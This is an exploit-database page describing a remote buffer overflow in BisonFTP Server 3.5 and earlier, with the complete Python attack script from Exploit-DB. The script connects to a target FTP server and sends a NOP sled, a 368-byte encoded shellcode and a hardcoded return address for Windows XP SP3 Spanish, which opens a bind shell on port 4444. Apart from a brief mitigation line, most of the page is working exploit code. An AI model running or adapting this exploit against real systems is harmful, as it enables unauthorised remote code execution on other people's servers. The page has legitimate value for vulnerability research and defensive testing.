BisonFTP Server - exploit.company

vendor:

BisonFTP Server

by:

localh0t

7.5

CVSS

HIGH

Remote Buffer Overflow

119

CWE

Product Name: BisonFTP Server

Affected Version From: BisonFTP Server <=v3.5

Affected Version To: BisonFTP Server <=v3.5

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3 Spanish

2011

BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit

This exploit targets BisonFTP Server version 3.5 and below. It allows an attacker to execute arbitrary code on the target machine by sending a specially crafted buffer overflow payload. The exploit connects to the target host and sends the payload. The payload consists of 1092 bytes of padding followed by a 368-byte shellcode. The shellcode is responsible for opening a shell on port 4444. The exploit has been tested on Windows XP SP3 Spanish (No DEP), but may work on other versions as well.

Mitigation:

Upgrade BisonFTP Server to a version higher than 3.5, if available. Disable unnecessary services and apply strict firewall rules to limit incoming connections.

Source

Exploit-DB raw data:

#!/usr/bin/python
# BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit
# Newer version's not tested, maybe vulnerable too
# written by localh0t
# Date: 10/08/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar | www.mfsec.com.ar
# Thanks to: Pr0zac, Irakirashia, Kchito
# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)
# Shellcode: List shell on port 4444 (Change as you wish)

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
	print "\nBisonFTP Server <=v3.5 Remote Buffer Overflow Exploit"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)

# padding
buffer = "\x90" * 1092

# 368 bytes shellcode
buffer += ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")

# more padding
buffer += "\x90" * 8

# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)
buffer += "\x9a\x5c\x3c\x7e"

# end connection
buffer += "\x0a"

# send buffer
print "[!] Sending exploit..."
sock.send(buffer)
sock.recv(1024)
sock.close()
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])
sys.exit()